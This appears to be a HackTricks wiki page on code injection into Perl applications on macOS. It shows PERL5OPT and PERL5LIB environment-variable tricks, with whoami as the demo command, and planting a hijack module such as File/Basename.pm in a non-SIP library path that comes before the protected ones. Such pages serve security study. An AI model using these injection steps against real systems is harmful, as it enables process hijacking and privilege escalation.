# macOS Perl Applications Injection

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## Via `PERL5OPT` & `PERL5LIB` env variable

Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
For example, create this script:

{% code title="test.pl" %}
```perl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
{% endcode %}

Now **export the env variable** and execute the **perl** script:

```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```

Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):

{% code title="/tmp/pmod.pm" %}
```perl
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
{% endcode %}

And then use the env variables:

```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```

## Via dependencies

It's possible to list the dependencies folder order of Perl running:

```bash
perl -e 'print join("\n", @INC)'
```

Which will return something like:

```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```

Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.

{% hint style="warning" %}
However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
{% endhint %}

<figure><img src="../../../.gitbook/assets/image (25).png" alt="" width="244"><figcaption></figcaption></figure>

For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.

## References

* [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>